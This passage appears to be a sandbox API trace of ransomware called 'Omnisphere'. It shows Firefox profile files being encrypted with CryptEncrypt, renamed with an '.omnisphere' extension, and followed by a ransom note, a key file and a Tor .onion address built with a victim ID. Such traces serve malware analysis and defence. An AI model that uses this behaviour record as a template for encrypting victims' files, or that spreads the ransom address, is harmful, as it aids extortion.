pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.697] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.697] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.697] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.697] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.697] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.697] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.697] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.698] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.698] CryptDestroyKey (hKey=0x16397a8) returned 1 [0161.698] CryptReleaseContext (hProv=0x16682c8, dwFlags=0x0) returned 1 [0161.698] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0xbdc, lpNewFilePointer=0x0, dwMoveMethod=0x3e0c3d0 | out: lpNewFilePointer=0x0) returned 1 [0161.698] WriteFile (in: hFile=0x3b4, lpBuffer=0x3e0be84*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0c3e4, lpOverlapped=0x0 | out: lpBuffer=0x3e0be84*, lpNumberOfBytesWritten=0x3e0c3e4*=0x524, lpOverlapped=0x0) returned 1 [0161.698] GetProcessHeap () returned 0x1600000 [0161.698] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x37e) returned 0x174bcc8 [0161.698] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504782700362.8d7a0e36-bec8-411d-a84e-102fe642b34c.new-profile.jsonlz4" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504782700362.8d7a0e36-bec8-411d-a84e-102fe642b34c.new-profile.jsonlz4"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504782700362.8d7a0e36-bec8-411d-a84e-102fe642b34c.new-profile.jsonlz4.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504782700362.8d7a0e36-bec8-411d-a84e-102fe642b34c.new-profile.jsonlz4.omnisphere")) returned 1 [0161.699] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504782700362.8d7a0e36-bec8-411d-a84e-102fe642b34c.new-profile.jsonlz4.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504782700362.8d7a0e36-bec8-411d-a84e-102fe642b34c.new-profile.jsonlz4.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504782700362.8d7a0e36-bec8-411d-a84e-102fe642b34c.new-profile.jsonlz4.omnisphere.id" [0161.699] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504782700362.8d7a0e36-bec8-411d-a84e-102fe642b34c.new-profile.jsonlz4.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504782700362.8d7a0e36-bec8-411d-a84e-102fe642b34c.new-profile.jsonlz4.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0161.700] WriteFile (in: hFile=0x394, lpBuffer=0x3e0be84*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0be6c, lpOverlapped=0x0 | out: lpBuffer=0x3e0be84*, lpNumberOfBytesWritten=0x3e0be6c*=0x524, lpOverlapped=0x0) returned 1 [0161.701] CloseHandle (hObject=0x394) returned 1 [0161.701] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0161.702] CloseHandle (hObject=0x398) returned 1 [0161.702] SetEndOfFile (hFile=0x3b4) returned 1 [0161.702] FlushFileBuffers (hFile=0x3b4) returned 1 [0161.737] CloseHandle (hObject=0x3b4) returned 1 [0161.737] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504782700362.8d7a0e36-bec8-411d-a84e-102fe642b34c.new-profile.jsonlz4" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09") returned 1 [0161.737] GetProcessHeap () returned 0x1600000 [0161.737] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x174c168 [0161.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0161.737] GetProcessHeap () returned 0x1600000 [0161.737] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1734120 [0161.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1734120, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0161.737] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0161.738] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0161.738] GetProcessHeap () returned 0x1600000 [0161.738] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1726518 [0161.738] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1726518, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0161.738] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0161.738] GetProcessHeap () returned 0x1600000 [0161.738] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x110) returned 0x174c688 [0161.738] PathCombineW (in: pszDest=0x174c688, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\!DECRYPT_OMNISPHERE.txt" [0161.738] GetProcessHeap () returned 0x1600000 [0161.738] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x173edb8 [0161.738] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0161.739] WriteFile (in: hFile=0x3b4, lpBuffer=0x173edb8*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0c404, lpOverlapped=0x0 | out: lpBuffer=0x173edb8*, lpNumberOfBytesWritten=0x3e0c404*=0x588, lpOverlapped=0x0) returned 1 [0161.740] CloseHandle (hObject=0x3b4) returned 1 [0161.740] GetProcessHeap () returned 0x1600000 [0161.740] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x174c168 | out: hHeap=0x1600000) returned 1 [0161.740] GetProcessHeap () returned 0x1600000 [0161.740] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x106) returned 0x174c168 [0161.740] PathCombineW (in: pszDest=0x174c168, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\unique_decrypt.key" [0161.740] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0161.741] WriteFile (in: hFile=0x3b4, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0c418, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0c418*=0x5a0, lpOverlapped=0x0) returned 1 [0161.742] CloseHandle (hObject=0x3b4) returned 1 [0161.743] GetProcessHeap () returned 0x1600000 [0161.743] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x174c168 | out: hHeap=0x1600000) returned 1 [0161.743] GetProcessHeap () returned 0x1600000 [0161.743] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x174bb50 | out: hHeap=0x1600000) returned 1 [0161.743] FindNextFileW (in: hFindFile=0x16396a8, lpFindFileData=0x3e0c6b4 | out: lpFindFileData=0x3e0c6b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x147ab83f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x147ab83f, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x147acbbc, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x1959, dwReserved0=0x0, dwReserved1=0xa4, cFileName="1504782700422.8c4e2942-e5f4-4855-97dc-f61d51d3c336.main.jsonlz4", cAlternateFileName="150478~2.JSO")) returned 1 [0161.743] GetProcessHeap () returned 0x1600000 [0161.743] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x160) returned 0x174bb50 [0161.743] PathCombineW (in: pszDest=0x174bb50, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09", pszFile="1504782700422.8c4e2942-e5f4-4855-97dc-f61d51d3c336.main.jsonlz4" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504782700422.8c4e2942-e5f4-4855-97dc-f61d51d3c336.main.jsonlz4") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504782700422.8c4e2942-e5f4-4855-97dc-f61d51d3c336.main.jsonlz4" [0161.743] StrStrW (lpFirst=".omnisphere", lpSrch=".jsonlz4") returned 0x0 [0161.743] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504782700422.8c4e2942-e5f4-4855-97dc-f61d51d3c336.main.jsonlz4" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504782700422.8c4e2942-e5f4-4855-97dc-f61d51d3c336.main.jsonlz4"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0161.743] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x3e0c3dc | out: lpFileSize=0x3e0c3dc*=6489) returned 1 [0161.744] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x1435, lpNewFilePointer=0x0, dwMoveMethod=0x3e0c3d0 | out: lpNewFilePointer=0x0) returned 1 [0161.744] ReadFile (in: hFile=0x3b4, lpBuffer=0x3e0be84, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0c3cc, lpOverlapped=0x0 | out: lpBuffer=0x3e0be84*, lpNumberOfBytesRead=0x3e0c3cc*=0x524, lpOverlapped=0x0) returned 1 [0161.747] GetTickCount () returned 0x11682c4 [0161.747] GetTickCount () returned 0x11682c4 [0161.747] GetTickCount () returned 0x11682c4 [0161.747] GetTickCount () returned 0x11682c4 [0161.747] GetTickCount () returned 0x11682c4 [0161.747] GetTickCount () returned 0x11682c4 [0161.747] GetTickCount () returned 0x11682c4 [0161.747] GetTickCount () returned 0x11682c4 [0161.747] GetTickCount () returned 0x11682c4 [0161.747] GetTickCount () returned 0x11682c4 [0161.747] GetTickCount () returned 0x11682c4 [0161.747] GetTickCount () returned 0x11682c4 [0161.747] GetTickCount () returned 0x11682c4 [0161.747] GetTickCount () returned 0x11682c4 [0161.747] GetTickCount () returned 0x11682c4 [0161.747] GetTickCount () returned 0x11682c4 [0161.747] GetTickCount () returned 0x11682c4 [0161.747] GetTickCount () returned 0x11682c4 [0161.748] GetTickCount () returned 0x11682c4 [0161.748] GetTickCount () returned 0x11682c4 [0161.748] GetTickCount () returned 0x11682c4 [0161.748] GetTickCount () returned 0x11682c4 [0161.748] GetTickCount () returned 0x11682c4 [0161.748] GetTickCount () returned 0x11682c4 [0161.748] GetTickCount () returned 0x11682c4 [0161.748] GetTickCount () returned 0x11682c4 [0161.748] GetTickCount () returned 0x11682c4 [0161.748] GetTickCount () returned 0x11682c4 [0161.748] GetTickCount () returned 0x11682c4 [0161.748] GetTickCount () returned 0x11682c4 [0161.748] GetTickCount () returned 0x11682c4 [0161.748] GetTickCount () returned 0x11682c4 [0161.748] CryptAcquireContextW (in: phProv=0x3e0be64, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0be64*=0x16683d8) returned 1 [0161.749] CryptImportKey (in: hProv=0x16683d8, pbData=0x3e0bdcc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0be70 | out: phKey=0x3e0be70*=0x1639568) returned 1 [0161.749] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0c31c*, pdwDataLen=0x3e0be60*=0x75, dwBufLen=0x80 | out: pbData=0x3e0c31c*, pdwDataLen=0x3e0be60*=0x80) returned 1 [0161.749] CryptDestroyKey (hKey=0x1639568) returned 1 [0161.749] CryptReleaseContext (hProv=0x16683d8, dwFlags=0x0) returned 1 [0161.749] CreateFileMappingW (hFile=0x3b4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1959, lpName=0x0) returned 0x398 [0161.749] MapViewOfFile (hFileMappingObject=0x398, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1959) returned 0x1480000 [0161.751] CryptAcquireContextW (in: phProv=0x3e0be54, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0be54*=0x1668c58) returned 1 [0161.751] CryptImportKey (in: hProv=0x1668c58, pbData=0x3e0be0c, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0be64 | out: phKey=0x3e0be64*=0x1639868) returned 1 [0161.751] CryptSetKeyParam (hKey=0x1639868, dwParam=0x4, pbData=0x3e0be48*=0x2, dwFlags=0x0) returned 1 [0161.751] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0be50*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0be50*=0x10) returned 1 [0161.751] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.751] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.751] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.751] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.752] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.752] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.752] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.752] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.752] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.752] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.752] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.752] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.752] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.752] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.752] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.752] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.752] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.752] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.752] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.752] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.752] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.752] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.752] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.752] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.752] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.752] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.752] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.753] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.753] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.753] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.753] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.753] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.753] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.753] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.753] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.753] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 